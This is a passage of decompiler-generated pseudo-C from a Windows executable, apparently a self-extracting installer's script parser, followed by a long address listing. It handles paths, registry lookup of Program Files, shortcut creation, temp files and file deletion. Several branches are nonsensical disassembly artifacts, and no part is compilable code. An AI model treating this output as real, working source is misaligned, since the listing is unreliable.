						__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
						__eflags =  *(__ebp - 0x6c88) - 0x22;
						_pop(__ecx);
						_pop(__ecx);
						if( *(__ebp - 0x6c88) != 0x22) {
							__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
							__eflags = __al;
							if(__al != 0) {
								goto L145;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
							__eflags =  *(__ebp - 0x6c88);
							__edi = __ebp - 0x6c88;
							if( *(__ebp - 0x6c88) == 0) {
								goto L145;
							} else {
								goto L133;
							}
							do {
								L133:
								__eax = __edi->i & 0x0000ffff;
								__eflags = __ax - 0x20;
								if(__ax == 0x20) {
									L135:
									__esi = __ax & 0x0000ffff;
									__eax = 0;
									__edi->i = __ax;
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al == 0) {
										__edi->i = __si;
										goto L142;
									}
									 *(__ebp - 0x10) = __edi;
									__eflags = __si - 0x2f;
									if(__si != 0x2f) {
										do {
											__edi =  &(__edi->i);
											__edi =  &(__edi->i);
											__eflags = __edi->i - 0x20;
										} while (__edi->i == 0x20);
										_push(__edi);
										__eax = __ebp - 0x4c40;
										L140:
										E0041A7F7() =  *(__ebp - 0x10);
										__ecx = __eax;
										_pop(__ecx);
										 *( *(__ebp - 0x10)) = __si;
										goto L142;
									}
									__eax = 0x2f;
									 *(__ebp - 0x4c40) = __ax;
									__eax =  &(__edi->i);
									_push( &(__edi->i));
									__eax = __ebp - 0x4c3e;
									goto L140;
								}
								__eflags = __ax - 0x2f;
								if(__ax != 0x2f) {
									goto L142;
								}
								goto L135;
								L142:
								__edi =  &(__edi->i);
								__edi =  &(__edi->i);
								__eflags = __edi->i;
							} while (__edi->i != 0);
							__eflags =  *(__ebp - 0x10);
							if( *(__ebp - 0x10) != 0) {
								__ecx =  *(__ebp - 0x10);
								__eax = 0;
								__eflags = 0;
								 *( *(__ebp - 0x10)) = __ax;
							}
							goto L145;
						} else {
							__ebp - 0x19c8e = __ebp - 0x6c88;
							E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
							__eax = E0041CA29(__ebp - 0x6c86, 0x22);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = 0;
								 *__eax = __cx;
								__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
								_pop(__ecx);
								_pop(__ecx);
							}
							L145:
							__esi = 0;
							__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
							if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
								__ebp - 0xbc90 = __ebp - 0x11c90;
								__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
							}
							__ebp - 0xcc90 = __ebp - 0x6c88;
							__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
							__eflags =  *(__ebp - 0x2440) - __si;
							if(__eflags == 0) {
								__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
							}
							__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
							if(__eflags != 0) {
								__ebp - 0x17c90 = __ebp - 0x2440;
								E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
								__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
							}
							__ebp - 0x2440 = __ebp - 0xac90;
							__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
							_pop(__ecx);
							_pop(__ecx);
							__eax = __ebp - 0x13c90;
							__eflags =  *(__ebp - 0x13c90) - __si;
							if(__eflags == 0) {
								__eax = __ebp - 0x19c90;
							}
							__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
							__eax = __ebp - 0x2440;
							__eflags = E0040A76A(__ebp - 0x2440) - __esi;
							if(__eflags == 0) {
								L155:
								__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
								goto L156;
							} else {
								__eflags = __eax;
								if(__eflags == 0) {
									L156:
									__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
									__ebp - 0xcc90 = __ebp - 0x9c90;
									__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
									_pop(__ecx);
									_pop(__ecx);
									__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
									 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
									asm("sbb eax, eax");
									__ecx = __ebp - 0x4c40;
									__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
									 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
									asm("sbb ecx, ecx");
									__edx = __ebp - 0xbc90;
									__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
									 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
									asm("sbb edx, edx");
									__esi = __ebp - 0x15c90;
									__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
									 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
									asm("sbb esi, esi");
									__edi = __ebp - 0x9c90;
									__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
									__ebp - 0x2440 = __ebp - 0xcc90;
									__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
									__eflags =  *(__ebp - 0xac90);
									if( *(__ebp - 0xac90) != 0) {
										__eax = __ebp - 0xac90;
										SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
									}
									while(1) {
										L160:
										_t263 = E0040D781(_t339 - 0x11, _t339 - 0xec90, _t337,  *((intOrPtr*)(_t339 + 0xc)), _t339 - 0x4440, _t339 + 0xf, 0x1000);
										 *((intOrPtr*)(_t339 + 0xc)) = _t263;
										if(_t263 != 0) {
											_t335 = GetFileAttributesW;
											_t322 = _t339 - 0x1bc90;
											_t337 = 0x438818;
											_t264 = _t339 - 0x4440;
											 *(_t339 - 0x10) = _t339 - 0x1bc90;
											 *((intOrPtr*)(_t339 - 0x18)) = 6;
											goto L2;
										} else {
											break;
										}
										L4:
										while(E00411E60(_t339 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t339 - 0x10) * 4))) != 0) {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) + 1;
											if( *(_t339 - 0x10) < 0xe) {
												continue;
											} else {
												goto L160;
											}
										}
										__eflags =  *(_t339 - 0x10) - 0xd;
										if( *(_t339 - 0x10) > 0xd) {
											continue;
										}
										switch( *((intOrPtr*)( *(_t339 - 0x10) * 4 +  &M0040F443))) {
											case 0:
												__eflags =  *((intOrPtr*)(_t339 + 0x10)) - 2;
												if( *((intOrPtr*)(_t339 + 0x10)) != 2) {
													goto L160;
												}
												E00419C9B(_t339 - 0x8c90, _t319);
												E0040A146(_t339 - 0x8c90, _t339 - 0x4440, _t339 - 0xfc90, _t319);
												E00409433(_t339 - 0x7c90);
												 *(_t339 - 4) =  *(_t339 - 4) & 0x00000000;
												E0040945C(_t339 - 0x7c90, _t339 - 0xfc90);
												E004067E1(_t339 - 0x5c88);
												_push(0);
												_t280 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
												__eflags = _t280;
												if(_t280 == 0) {
													L25:
													 *(_t339 - 4) =  *(_t339 - 4) | 0xffffffff;
													E00409449(_t339 - 0x7c90);
													goto L160;
												} else {
													_t337 = L"%s.%d.tmp";
													do {
														SetFileAttributesW(_t339 - 0x5c88, 0);
														__eflags =  *((char*)(_t339 - 0x4c7c));
														if(__eflags == 0) {
															L17:
															_t285 = GetFileAttributesW(_t339 - 0x5c88);
															__eflags = _t285 - 0xffffffff;
															if(_t285 == 0xffffffff) {
																goto L24;
															}
															_t289 = DeleteFileW(_t339 - 0x5c88);
															__eflags = _t289;
															if(_t289 != 0) {
																goto L24;
															} else {
																 *(_t339 - 0x10) =  *(_t339 - 0x10) & _t289;
																_push(_t289);
																goto L21;
																L21:
																E0040BC16(_t339 - 0x1040, _t319, _t337, _t339 - 0x5c88);
																_t341 = _t341 + 0x14;
																_t294 = GetFileAttributesW(_t339 - 0x1040);
																__eflags = _t294 - 0xffffffff;
																if(_t294 != 0xffffffff) {
																	_t61 = _t339 - 0x10;
																	 *_t61 =  *(_t339 - 0x10) + 1;
																	__eflags =  *_t61;
																	_push( *(_t339 - 0x10));
																	goto L21;
																} else {
																	_t297 = MoveFileW(_t339 - 0x5c88, _t339 - 0x1040);
																	__eflags = _t297;
																	if(_t297 != 0) {
																		MoveFileExW(_t339 - 0x1040, 0, 4);
																	}
																	goto L24;
																}
															}
														}
														E0040AA7D(__eflags, _t339 - 0x8c90, _t339 - 0x1040, _t319);
														E0040A116(__eflags, _t339 - 0x1040, _t319);
														_t306 = E0041A7AF(_t339 - 0x8c90);
														 *((intOrPtr*)(_t339 - 0x18)) = _t306;
														__eflags = _t306 - 4;
														if(_t306 < 4) {
															L15:
															_t308 = E0040A0A4(_t339 - 0x4440);
															__eflags = _t308;
															if(_t308 != 0) {
																goto L25;
															}
															L16:
															_t310 = E0041A7AF(_t339 - 0x5c88);
															__eflags = 0;
															 *((short*)(_t339 + _t310 * 2 - 0x5c86)) = 0;
															E0041A820(_t335, _t339 - 0x40, 0, 0x1e);
															_t341 = _t341 + 0x10;
															_push(0x14);
															_pop(_t313);
															 *((short*)(_t339 - 0x30)) = _t313;
															 *((intOrPtr*)(_t339 - 0x38)) = _t339 - 0x5c88;
															 *((intOrPtr*)(_t339 - 0x3c)) = 3;
															SHFileOperationW(_t339 - 0x40);
															goto L17;
														}
														_t318 = E0041A7AF(_t339 - 0x1040);
														__eflags =  *((intOrPtr*)(_t339 - 0x18)) - _t318;
														if( *((intOrPtr*)(_t339 - 0x18)) > _t318) {
															goto L16;
														}
														goto L15;
														L24:
														_push(0);
														_t287 = E0040960E(_t339 - 0x7c90, _t333, _t339 - 0x5c88);
														__eflags = _t287;
													} while (_t287 != 0);
													goto L25;
												}
											case 1:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__eflags =  *((char*)(__ebp - 0x11));
													if(__eflags == 0) {
														__edi = __ebp + 0xc;
														__edi = E0040D92D(__ebp + 0xc, __eflags);
													} else {
														__edi = __ebp - 0x4440;
													}
													__eflags =  *((char*)(__ebp - 0x12));
													if( *((char*)(__ebp - 0x12)) == 0) {
														__esi = E0041A7AF( *0x441850);
													} else {
														__esi = 0;
													}
													__eax = E0041A7AF(__edi);
													__eax = __eax + __esi;
													_push(__eax);
													_push( *0x441850);
													__eax = E0041A594(__ebx, __edi, __esi, __eflags);
													__esp = __esp + 0xc;
													__eflags =  *((char*)(__ebp - 0x12));
													 *0x441850 = __eax;
													if( *((char*)(__ebp - 0x12)) != 0) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
													__eax = E0041A7C9(__eax, __edi);
													__eflags =  *((char*)(__ebp - 0x11));
													_pop(__ecx);
													_pop(__ecx);
													if(__eflags == 0) {
														_push(__edi);
														__eax = E0041A506(__ebx, __edi, __esi, __eflags);
														_pop(__ecx);
													}
												}
												goto L160;
											case 2:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) == 0) {
													__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
												}
												goto L160;
											case 3:
												__eflags =  *(__ebp + 0x10);
												if( *(__ebp + 0x10) != 0) {
													goto L160;
												}
												__eflags =  *0x44187a;
												if( *0x44187a != 0) {
													goto L160;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x4440) - 0x22;
												__edi = __ebp - 0x4440;
												 *(__ebp - 0x18) = __edi;
												 *(__ebp - 0x1040) = __ax;
												if( *(__ebp - 0x4440) == 0x22) {
													__edi = __ebp - 0x443e;
													 *(__ebp - 0x18) = __edi;
												}
												__eax = E0041A7AF(__edi);
												__eflags = __eax - __ebx;
												if(__eax >= __ebx) {
													goto L160;
												} else {
													__eax = __edi->i & 0x0000ffff;
													__eflags = __ax - 0x2e;
													if(__ax != 0x2e) {
														L50:
														__eflags = __ax - 0x5c;
														if(__ax == 0x5c) {
															L62:
															_push(__edi);
															L63:
															__eax = __ebp - 0x1040;
															_push(__ebp - 0x1040);
															__eax = E0041A7F7();
															L64:
															_pop(__ecx);
															_pop(__ecx);
															L65:
															__eax = __ebp - 0x1040;
															__eax = E0041CA4F(__ebp - 0x1040, 0x22);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__eflags =  *((short*)(__eax + 2));
																if( *((short*)(__eax + 2)) == 0) {
																	__ecx = 0;
																	__eflags = 0;
																	 *__eax = __cx;
																}
															}
															__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx);
															__edi = GetDlgItem( *(__ebp + 8), 0x66);
															__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040);
															SendMessageW(__edi, 0x143, 0, __esi) = __ebp - 0x1040;
															__eax = E0041AA21(__esi, __ebp - 0x1040);
															_pop(__ecx);
															_pop(__ecx);
															__eflags = __eax;
															if(__eax != 0) {
																__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
															}
															goto L160;
														}
														__eflags = __ax;
														if(__ax == 0) {
															L53:
															__eax = __ebp - 0x1c;
															__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
															__eflags = __eax;
															if(__eax == 0) {
																__ebp - 0x10 = __ebp - 0x1040;
																__eax = __ebp - 0x20;
																 *(__ebp - 0x10) = 0x1000;
																RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
																 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
																__eax = 0x7ff;
																__eflags =  *(__ebp - 0x10) - 0x7ff;
																if( *(__ebp - 0x10) < 0x7ff) {
																	__eax =  *(__ebp - 0x10);
																}
																__ecx = 0;
																__eflags = 0;
																 *((short*)(__ebp + __eax * 2 - 0x1040)) = __cx;
															}
															__eflags =  *(__ebp - 0x1040);
															if( *(__ebp - 0x1040) != 0) {
																__eax = __ebp - 0x1040;
																__eax = E0041A7AF(__ebp - 0x1040);
																__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
																if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
																	__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
																	_pop(__ecx);
																	_pop(__ecx);
																}
															}
															__edi = E0041A7AF(__edi);
															__eax = __ebp - 0x1040;
															__edi = __edi + E0041A7AF(__ebp - 0x1040);
															__eflags = __edi - 0x7ff;
															if(__edi >= 0x7ff) {
																goto L65;
															} else {
																__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
																goto L64;
															}
														}
														__eflags = __edi->i - 0x3a;
														if(__edi->i == 0x3a) {
															goto L62;
														}
														goto L53;
													}
													__eflags = __edi->i - 0x5c;
													if(__edi->i != 0x5c) {
														goto L50;
													}
													_t97 = __edi + 4; // 0x26
													__eax = _t97;
													__eflags =  *__eax;
													if( *__eax == 0) {
														goto L160;
													} else {
														_push(__eax);
														goto L63;
													}
												}
											case 4:
												__eflags =  *0x441874 - 1;
												__eflags = __eax - 0x441874;
												__edi->i = __edi->i + __ecx;
												__eflags = __edi->i & __dh;
												_push(es);
												 *__eax =  *__eax + __al;
												__eflags =  *__eax;
											case 5:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eflags = __eax;
												if(__eax == 0) {
													L82:
													 *0x441831 = 0;
													 *0x441830 = 1;
													goto L160;
												}
												__eax = __eax - 0x30;
												__eflags = __eax;
												if(__eax == 0) {
													 *0x441831 = 0;
													L81:
													 *0x441830 = 0;
													goto L160;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													goto L82;
												}
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax != 0) {
													goto L160;
												}
												 *0x441831 = 1;
												goto L81;
											case 6:
												__eflags =  *(__ebp + 0x10) - 4;
												if( *(__ebp + 0x10) != 4) {
													goto L92;
												}
												__eax = __ebp - 0x4440;
												__eax = E0041AA21(__ebp - 0x4440, L"<>");
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax == 0) {
													goto L92;
												}
												_push(0);
												goto L91;
											case 7:
												__eflags =  *(__ebp + 0x10) - 1;
												if(__eflags != 0) {
													L112:
													__eflags =  *(__ebp + 0x10) - 7;
													if( *(__ebp + 0x10) == 7) {
														__eflags =  *0x441874;
														if( *0x441874 == 0) {
															 *0x441874 = 2;
														}
														 *0x441870 = 1;
													}
													goto L160;
												}
												__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
												__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
												_push(0);
												__esi = L"%s%s%d";
												while(1) {
													_push( *0x4300c8);
													__ebp - 0x8c90 = __ebp - 0x1040;
													E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
													_push(__ebp - 0x1040);
													__eax = __edi->i();
													__eflags = __eax - 0xffffffff;
													if(__eax == 0xffffffff) {
														break;
													}
													_t146 = __ebp - 0x10;
													 *_t146 =  *(__ebp - 0x10) + 1;
													__eflags =  *_t146;
													_push( *(__ebp - 0x10));
												}
												__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
												__eflags =  *(__ebp - 0x4440);
												if( *(__ebp - 0x4440) == 0) {
													goto L160;
												}
												__eflags =  *0x44184a;
												if( *0x44184a != 0) {
													goto L160;
												}
												__eax = 0;
												 *(__ebp - 0x1440) = __ax;
												__eax = __ebp - 0x4440;
												__eax = E0041CA29(__ebp - 0x4440, 0x2c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													L108:
													__eflags =  *(__ebp - 0x1440);
													if( *(__ebp - 0x1440) == 0) {
														__ebp - 0x1bc90 = __ebp - 0x4440;
														E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
														__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
													}
													__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
													__eax = 0;
													 *(__ebp - 0x3440) = __ax;
													__ebp - 0x1440 = __ebp - 0x4440;
													__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L160;
													} else {
														 *0x441849 = 1;
														 *0x44183c = 1;
														__eax = EndDialog( *(__ebp + 8), 1);
														goto L112;
													}
												}
												__ecx = 0;
												__eflags =  *(__ebp - 0x4440) - __cx;
												if( *(__ebp - 0x4440) == __cx) {
													goto L108;
												}
												__eax = __ebp - 0x4440;
												while(1) {
													__eflags =  *__eax - 0x40;
													if( *__eax == 0x40) {
														break;
													}
													__ecx = __ecx + 1;
													__eax = __ebp + __ecx * 2 - 0x4440;
													__eflags =  *__eax;
													if( *__eax != 0) {
														continue;
													}
													goto L108;
												}
												__esi = __ecx + __ecx;
												__ebp + __esi - 0x443e = __ebp - 0x1440;
												__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
												_pop(__ecx);
												__eax = 0;
												__eflags = 0;
												_pop(__ecx);
												 *(__ebp + __esi - 0x4440) = __ax;
												goto L108;
											case 8:
												__eflags =  *(__ebp + 0x10) - 3;
												if( *(__ebp + 0x10) == 3) {
													__eflags =  *(__ebp - 0x4440);
													if(__eflags != 0) {
														__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
													}
													__edi = __ebp + 0xc;
													 *0x441854 = E0040D92D(__edi, __eflags);
												}
												 *0x44184b = 1;
												goto L160;
											case 9:
												__eflags =  *(__ebp + 0x10) - 5;
												if( *(__ebp + 0x10) != 5) {
													L92:
													 *0x44185c = 1;
													goto L160;
												}
												_push(1);
												L91:
												_push( *(__ebp + 8));
												__ecx = __ebp - 0x4440;
												__eax = E0040E46C(__ecx);
												goto L92;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp + 0x10) - 7;
												if( *(__ebp + 0x10) == 7) {
													 *0x441878 = 1;
												}
												goto L160;
											case 0xc:
												__eax =  *(__ebp - 0x4440) & 0x0000ffff;
												__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
												__eflags = __eax - 0x46;
												if(__eax == 0x46) {
													 *0x441823 = 1;
												} else {
													__eflags = __eax - 0x55;
													if(__eax == 0x55) {
														 *0x441822 = 1;
													} else {
														 *0x441823 = 0;
														 *0x441822 = 0;
													}
												}
												goto L160;
											case 0xd:
												 *0x44185d = 1;
												__eax = __eax + 0x44185d;
												__ecx = __ecx + __ebp;
												 *0x7d830000 =  *0x7d830000 ^ __eax;
												__eflags =  *0x7d830000;
												goto L160;
										}
										L2:
										_t264 = E0040DCB8(_t322, _t264,  *(_t339 - 0x10));
										 *(_t339 - 0x10) =  *(_t339 - 0x10) + 0x2000;
										_t9 = _t339 - 0x18;
										 *_t9 =  *((intOrPtr*)(_t339 - 0x18)) - 1;
										if( *_t9 != 0) {
											goto L2;
										} else {
											 *(_t339 - 0x10) =  *(_t339 - 0x10) & 0x00000000;
											goto L4;
										}
									}
									 *[fs:0x0] =  *((intOrPtr*)(_t339 - 0xc));
									return _t263;
								}
								goto L155;
							}
						}
					}
				}
			}

0x00000000
0x0040f0c2
0x0040f0c2
0x0040f0c6
0x00000000
0x0040f0cc
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x0040f405
0x0040f405
0x0040f421
0x0040f426
0x0040f42b
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90b
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
